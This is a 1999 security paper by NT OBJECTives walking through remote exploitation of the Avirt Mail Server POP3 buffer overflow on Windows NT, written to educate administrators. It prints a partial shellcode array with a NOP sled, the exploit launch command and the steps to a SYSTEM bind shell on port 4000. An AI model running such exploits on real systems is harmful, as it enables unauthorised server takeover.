Analysis of a Remote Attack on NT By NT OBJECTives, Inc. http://www.ntobjectives.com/ 1- Analysis of a Remote Attack on NT 2- Notice 3- Attack Overview 4- Day One 5- Day Two 6- Avirt Mail Server Desktop 7- aVirt Mail Server Desktop Observations 8- Mail Server Running TaskList 9- Mail Server Services - Avirt is active 10- Mail Server Running TaskList Observations 11- Remote Mail Server Scan 12- Remote Mail Server Scan Observations 13- Remote Mail Server Banner Scan 14- NTOMax 15- NTOMax Usage 16- NTOMax + Usage Details 17- An Example Run 18- Example Run Observations 19- Avirt Run 20- Avirt Run Observations 21- Barnaby Jack’s Exploit Code 22- Barnaby Jack’s Exploit Array 23- Launching the Remote Attack 24- Remote Attack Observations 25- Attack Packet Capture One 26- Attack Packet Capture One Observations 27- Attack Packet Capture Two 28- Attack Packet Capture Two Observations 29- Attack Packet Capture Three 30- Attack Packet Capture Three Observations 31- Attack Packet Capture Four - Game Over 32- Attack Packet Capture Four Observations 33- Attack Packet Capture Five - Blow It Up 34- Attack Packet Capture Five Observations 35- Attack Packet Capture - Op Codes 36- Attack Packet Capture - Op Code Observations 37- Attack Packet Capture - Verify Target 38- Attack Packet Capture - Target Observations 39- Remote Mail Server Scan #Two 40- Remote Mail Server Scan #Two Observations 41- Mail Server TaskList w/ New Privileged Console Running 42- Mail Server TaskList w/ New Privileged Console Running Observations 43- Remote Shell Logon to Compromised Mail Server 44- Remote Shell Logon to Compromised Mail Server Observations 45- Complete Remote Control 46- Complete Remote Control Observations 47- Wrap Up 48- Credits -=[Analysis of a Remote Attack on NT]=- This paper will detail the entire process of finding, exploiting and taking remote control of an NT Server. It will also introduce a new tool, NTOMax, for administrators from NT OBJECTives, Inc. It is the intent of this technical talk is to educate administrators of Windows NT Servers as well as to give clear relevance as to exactly *WHAT* those Bugtraq and NT BugTraq messages *MEAN* when they appear in your mailbox. *ALL INFORMATION WAS PULLED FROM PUBLIC ANNOUNCMENTS ON BUGTRAQ AND NT BUGTRAQ* The tools and software we will discuss in depth during this talk are: Microsoft Windows NT Server 4.0 - http://www.microsoft.com Avirt Mail Server - http://www.avirt.com Discovery and Security Notice by U.S.S.R. Labs - http://www.ussrback.com Exploit code by Barnaby Jack - http://www.beavuh.org Security posting by BugTraq - http://www.securityfocus.com Security posting by NT BugTraq - http://www.ntbugtraq.com Scanning and detecting software by NT OBJECTives, Inc. http://www.ntobjectives.com Copyright 1999 - NT OBJECTives, Inc. No part of this paper may be altered and/or removed. No permission is given to reuse any part of this document. NT OBJECTives, Inc. assumes no liability for the use/misuse of the details gained from reading this paper. Reader is advised to read this work at his own risk. -=[Notice]=- It is the intent of this paper to give clear relevance as to exactly *WHAT* those Bugtraq and NT BugTraq messages *MEAN* when they appear in your mailbox. Software companies and software in this talk have been given notice, are already aware, and have posted patches of the detailed information contained in this talk. Exploits in this talk have already been posted on Bugtraq and NT BugTraq. -=[Attack Overview]=- This paper will do the following: -Use a scanner to reconnoiter and collect information about a target host. -Determine if an exploit is possible. -Introduce, NTOMax, a new tool for administrators to defend your site with. -NTOMax gives admins the ability to find buffer overflows before hackers do. -Detail the writing of an exploit. -Detail the execution of an exploit against the target host. -Detail the network traces of attack in progress. -Examine the effect of the exploit in the target server. -Detail the exploits ability to execute code and kill processes on the target server. Part II of this talk will give a forensic examination of the server state after this attack. -=[Day One]=- On Nov 1st, 1999, This notice went out to both the BugTraq and NT BugTraq mail list from Luck Martins of U.S.S.R Labs. 99/11/01 05:03 47 Avirt Mail Server 3.3a or 3.5 remotely exploitable buffer overflow vulnerability. -=[Day Two]=- On Nov 2nd, 1999, the following day, this notice went out to both the BugTraq and NT BugTraq mail lists from Barnaby Jack, aka Dark Spyrit, who runs http://www.beavuh.org. 99/11/02 23:33 Exploit + temp patch for Avirt mail server 3.5. -=[Avirt Mail Server Desktop]=- (avirt_mail_server_desktop.htm) -=[aVirt Mail Server Desktop Observations]=- Our first slide shows the state of a Windows NT 4 Server running the Avirt Mail Server Software. Points are: -NT Server is secured -All standard Security measures are in place and strong passwords are in place. -The Mail Server is set with standard security and strong passwords are in place This shot shows the desktop and that the services are actively running. -=[Mail Server Running TaskList]=- (mail_server_running_tasklist.htm) -=[Mail Server Services - Avirt is active]=- (mail_server_services.htm) -=[Mail Server Running TaskList Observations]=- Notice from the previous shot that no console process (cmd.exe) is running. -=[Remote Mail Server Scan]=- (remote_mail_server_scan.htm) -=[Remote Mail Server Scan Observations]=- Here we are at the attackers box and we have completed a scan of of the target. After scanning a port range of 0-5,000, we see that only ports 25, 110 are active. This tells us that some type of mail server services are running. Next, we use NTOScanner 1.30’s ability to grab banners, and get the mail service to tell us who and what he is. -=[Remote Mail Server Banner Scan]=- (remote_mail_server_banner_scan.htm) -=[NTO Max]=- What we want to do in this next phase is run a series of tests to check all the input entries to the mail server for potential problems. At this point, I’ll introduce NTOMax, a scriptable buffer overflow determination test tool that will automatically run these tests for us. NTOMax reads a command and bounds script and performs tests against a services inputs in order to pinpoint exactly a buffer overflow condition. NTOMax is an exploit independent tool, which means it is *always* valid and does not become dated the way that exploit checklists do. NTOMax is a proactive tool vs being a reactive tool. This makes NTOMax a valuable tools for finding potential holes before attackers do. If you want to know about problems before the general public does, this is the tool to apply to your servers. _This begins phase two of our reconnaissance process_ -=[NTOMax Usage]=- NTOMax is an NT console application that reads a script file for input. Usage: C:>ntomax /s < boundsparam.txt > boundsresults.txt Script usage IP : xxx.xxx.xxx.xxx Port: x Min: x max: x command: // optional beginning command loop: // loop iteration value is max-min command: command command: command + // + indicates to start an increasing buff size per iteration endloop: command: // optional ending command -=[NTOMax + Usage Details]=- NTOMax’s real work is performed with the + command The + command starts at min and ends at max Example - command: pass + (space is important if server input param expects it) This sends a string formatted as "pass xxxxxxx.........." w/ the test buffer beginning at the first x location and equaling the buffer size specified by loop cnt. -=[An Example Run]=- Start test C:>ntomax /s < boundsparam.txt Usage: C:>ntomax < boundsparam.txt Beginning scan on 125.125.125.5:340 Pinging host Sending 500 bytes of data. . . //section omitted for brevity Sending 604 bytes of data Sending 605 bytes of data Server timed out at 605 bytes of data Possible overflow at 605 bytes of data Ending scan of 125.125.125.5:340 -=[Example Run Observations]=- At this point our tests have given us a clue that the server chokes when a byte stream of size 605 is sent to the password input buffer. Now we know there is a weakness and we have a good idea of the bounds. We can start to construct an attack. -=[Avirt Run]=- Start test C:>ntomax /s < boundsparam.txt Usage: C:>ntomax < boundsparam.txt Beginning scan on 155.155.155.12:110 Pinging host Sending 700 bytes of data. Server timed out at 700 bytes of data Possible overflow at 700 bytes of data Ending scan of 155.155.155.12:110 This ends phase two of our reconnaissance process - We know all we need to know now. -=[Avirt Run Observations]=- Attacking the Avirt server produced different results than on some other servers. The Avirt server stopped responding immediately after a socket disconnect after issuing the user/pass command set, (which wasn’t made clear in the post) and not because of various buffer sizes sent to it. In this case, NTOMax, while able to inform us of a problem, was not able to give remote size details. The needed buffer size (which was posted) in this case was important because it determined the approx. distance of the stack pointer away from the instruction pointer. In Avirt’s case, it wasn’t possible to get a feel for that distance remotely. -*- Barnaby Jack has made available the source code and looking at it you can see the transformation of the mnemonics into an array of opcodes that will occupy the stack, causing the exploit -*- -=[Barnaby Jack’s Exploit Code]=- Download his entire source at http://www.beavuh.org If you wish to review the code, you will need to download it seperately. It is not included in this document. We are just going to review the main points here - See section snapshot on next page. Mainly, the code uses a series of NOP’s, op code 0x90, to pad the buffer to get itself to the point(based on the determined buffer size that timed out of the mail server) in the stack where it can execute the code it needs to make a socket connection available to the remote attacking box. You will see this in the packet capture sequence. _*_ Hex number format can be listed as either - 0x90 or 090h _*_ -=[Barnaby Jack’s Exploit Array]=- sploit: db "PASS " db 016h, 05bh, 05bh, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h << NOP padding db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h . db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 090h, 090h, 08bh, 0feh, 033h, 0c0h, 050h, 0f7h, 0d0h db 050h, 059h, 0f2h, 0afh, 059h, 0b1h, 0c6h, 08bh, 0c7h, 048h, 080h, 030h db 099h, 0e2h, 0fah, 033h, 0f6h, 096h, 0bbh, 099h, 0b0h, 090h, 041h, 0c1h db 0ebh, 008h, 056h, 0ffh, 013h, 08bh, 0d0h, 0fch, 033h, 0c9h, 0b1h, 00bh db 084h, 0c0h, 075h, 0f9h, 0b3h, 0b0h, 056h, 0ffh, 013h, 08bh, 0d0h, 0fch db 033h, 0c9h, 0b1h, 006h, 032h, 0c0h, 0ach, 084h, 0c0h, 075h, 0f9h, 052h db 051h, 056h, 052h, 0b3h, 08ch, 0ffh, 013h, 0abh, 059h, 05ah, 0e2h, 0ech db 083h, 0c6h, 005h, 033h, 0c0h, 050h, 040h, 050h, 040h, 050h, 0ffh, 057h db 0e8h, 093h, 06ah, 010h, 056h, 053h, 0ffh, 057h, 0ech, 06ah, 002h, 053h . . db 0d4h, 08bh, 0f0h, 033h, 0c0h, 08bh, 0c8h, 0b5h, 004h, 050h, 050h, 057h db 051h, 050h, 0ffh, 077h, 0a8h, 0ffh, 057h, 0d0h, 083h, 03fh, 001h, 07ch db 022h, 033h, 0c0h, 050h, 057h, 0ffh, 037h, 056h, 0ffh, 077h, 0a8h, 0ffh db 057h, 0dch, 00bh, 0c0h, 074h, 02fh, 033h, 0c0h, 050h, 0ffh, 037h, 056h db 053h, 0ffh, 057h, 0f8h, 06ah, 050h, 0ffh, 057h, 0e0h, 0ebh, 0c8h, 033h db 0c0h, 050h, 0b4h, 004h, 050h, 056h, 053h, 0ffh, 057h, 0fch, 057h, 033h db 0c9h, 051h, 050h, 056h, 0ffh, 077h, 0ach, 0ffh, 057h, 0d8h, 06ah, 050h db 0ffh, 057h, 0e0h, 0ebh, 0aah, 050h, 0ffh, 057h, 0e4h, 090h, 0d2h, 0dch db 0cbh, 0d7h, 0dch, 0d5h, 0aah, 0abh, 099h, 0dah, 0ebh, 0fch, 0f8h, 0edh . . db 099h, 0dah, 0f5h, 0f6h, 0eah, 0fch, 0d1h, 0f8h, 0f7h, 0fdh, 0f5h, 0fch db 099h, 0c9h, 0fch, 0fch, 0f2h, 0d7h, 0f8h, 0f4h, 0fch, 0fdh, 0c9h, 0f0h db 0e9h, 0fch, 099h, 0deh, 0f5h, 0f6h, 0fbh, 0f8h, 0f5h, 0d8h, 0f5h, 0f5h db 0f6h, 0fah, 099h, 0ceh, 0ebh, 0f0h, 0edh, 0fch, 0dfh, 0f0h, 0f5h, 0fch db 099h, 0cbh, 0fch, 0f8h, 0fdh, 0dfh, 0f0h, 0f5h, 0fch, 099h, 0cah, 0f5h db 0fch, 0fch, 0e9h, 099h, 0dch, 0e1h, 0f0h, 0edh, 0c9h, 0ebh, 0f6h, 0fah db 0fch, 0eah, 0eah, 099h, 0ceh, 0cah, 0d6h, 0dah, 0d2h, 0aah, 0abh, 099h db 0eah, 0f6h, 0fah, 0f2h, 0fch, 0edh, 099h, 0fbh, 0f0h, 0f7h, 0fdh, 099h db 0f5h, 0f0h, 0eah, 0edh, 0fch, 0f7h, 099h, 0f8h, 0fah, 0fah, 0fch, 0e9h db 0edh, 099h, 0eah, 0fch, 0f7h, 0fdh, 099h, 0ebh, 0fch, 0fah, 0efh, 099h db 09bh, 099h _*_ Some lines omitted for sake of brevity _*_ -=[Launching the Remote Attack]=- (launching_the_remote_attack.htm) -=[Remote Attack Observations]=- Here the attack is launched w/ the command avmsploit 155.155.155.12 110 4000 Note the 3rd argument to avmsploit , 4000. This is the remote shell port will open on the server for and which we will connect back to after the attack is successful. And, indeed, we see the payload has been successfully received by the aVirt mail server. The following slides review the details of the actual packets that were sent to the aVirt mail server during this attack. The attack only took a total of 8 packets to completely compromise the target NT Server host. We won’t review the initial 3 TCP handshake packets. We will begin the review at packet 4. This is the handshake with the aVirt Mail server at port 110. Attack packet captures 1-8 map to actual packets 4-8 in the following capture series. -=[Attack Packet Capture One]=- (attack_packet_capture_one.htm) -=[Attack Packet Capture One Observations]=- This packet, packet #4 of the captured sequence, signals the completed connection to the aVirt mail server. At the bottom of the slide (In the TCP Data Section of the packet) , we see the text, "+OK aVirt POP3 Mail Server Ready" -=[Attack Packet Capture Two]=- (attack_packet_capture_two.htm) -=[Attack Packet Capture Two Observations]=- Packet #5 shows that the attack code has now sent the initial logon packet specifying the name, "beavuh" to the mail server. Again, you see this at the bottom of the slide in the TCP Data Section *Note* - We can use any name here, it doesn’t matter. The server is NEVER going to make it to it’s own login check. The overflow will occur first. -=[Attack Packet Capture Three]=- -=[Attack Packet Capture Three Observations]=- Packet #6 shows the server responds with an OK. Note that the server just holds the name we just sent it in place until we send it the second piece of information, which is the password. Then the server will attempt to look up the login information. When it attempts to read the password from the huge password buffer we are about to send, it will overflow, and the exploit code will take control of the process. -=[Attack Packet Capture Four - Game Over]=- -=[Attack Packet Capture Four Observations]=- At this point, with the sending of packet #7, the server has lost. That was all it took. The very second that the aVirt Mail server tried to process the data in that packet, it lost control of it’s own execution stack. Barnaby’s exploit code now has control of the mail server process. It is very important to note that the Avirt Mail Server Service is running under the "System" account. The exploited process has full control and no security checks apply to it. The shell that is now activated is the most powerful shell that can be obtained. _You must be aware this shell has more local privileges that an administrator’s shell_ -=[Attack Packet Capture Five - Blow It Up]=- (attack_packet_capture_five.htm) -=[Attack Packet Capture Five Observations]=- This packet is a TCP FIN-ACK packet that forces a socket disconnect. It is this disconnect which actually forces the GPF in the Avirt Server. After this occurs, the properly placed data from the previous packet takes over and creates the remote shell. -=[Attack Packet Capture - Op Codes]=- (attack_packet_capture.htm) -=[Attack Packet Capture - Op Code Observations]=- This slide shows the insides of the payload packet, as well as the series of XOR encrypted op codes that are packed at end of the packet. All of these codes occur after the carefully numbered amount of NOP padding (notice all the 0x90’s) Notice at the end of this packet is "FF FF FF FF", the byte series to signal the end of the encrypted, op code jump table. See Phrack 55 - "Win32 Buffer Overflows - Location, Exploitation and Prevention" By dark spyrit. For an explanation of an XOR encrypted op code jump table. -=[Attack Packet Capture - Verify Target]=- (attack_packet_capture1.htm) -=[Attack Packet Capture - Target Observations]=- This slide simply verifies the IP header info, and indeed, this went to the intended target. Source address: 155.155.155.11 Destination address 155.155.155.12 is as it should be. -=[Remote Mail Server Scan #Two]=- (remote_mail_server_scan1.htm) -=[Remote Mail Server Scan #Two Observations]=- We now do a second scan of the server to verify that the exploit code did set us up a remote socket at port 4000 for connection. There it is, one remote shell port running under system account privileges. This port is accessible to anyone who connects to it because the exploit code did not create a password check. However, it could have. -=[Mail Server TaskList w/ New Privileged Console Running]=- (mail_server_tasklist_w.htm) -=[Mail Server TaskList w/ New Privileged Console Running Observations]=- Back at the Target Mail Server, a new console process, cmd.exe(listed right above the amail process at the bottom of the list), has appeared in the running task process. The console is hidden and does not appear in the desktop shell. It only appears on the process list and not the application list. Remember, this process was not there when we started, and no one is sitting at the console starting processes. -=[Remote Shell Logon to Compromised Mail Server]=- (remote_shell_logon_to_compromise.htm) -=[Remote Shell Logon to Compromised Mail Server Observations]=- Now the attacker logs in to the remote port #4000 on 155.155.155.12 (our target) using telnet. Notice the successful connection. This is bad news for the administrator of this box. !!-=[Complete Remote Control]=-!! -=[Complete Remote Control Observations]=- This slide shows the tail end contents of a directory listing in the remote targets system32 directory as well as a successful ‘kill’ command. We killed the loadwc.exe as an example. But could choose anything we want at this point. _*_ Note kill.exe may or may not exist on some NT boxes. It did on this one. Net commands could have been used as well here. -=[Wrap Up]=- This talk has detailed for you the process involved in remotely compromising a server 1)We reconnoitered a potential target 2)Made an accurate, remote determination that it was vulnerable 3)Used info returned by the server to precisely measure an attack payload 4)Reviewed the building and execution of the attack 5)Examined in detail the network packets that derailed the target server 6)Reviewed executing remote commands to the server under it’s most privileged account NTO hopes that you are now a bit more aware of the significance of BugTraq messages. Thank You. -=[Credits]=- -USSR Labs for being cool enough to post their findings to benefit all. -Barnaby Jack for making the world aware of New Zealand and for posting his findings to benefit all. -BugTraq for providing a very valuable, free, information service to benefit all. -NT BugTraq for providing a very valuable, free, information service to benefit all. -Avirt for posting a fix within a fairly short period of notification to benefit clients. Any errors are entirely the fault NT OBJECTives, Inc. and not from any of the above mentioned sources. NT OBJECTives, Inc. assumes no liability for the use/misuse of this technical information Copyright 1999 - NT OBJECTives, Inc.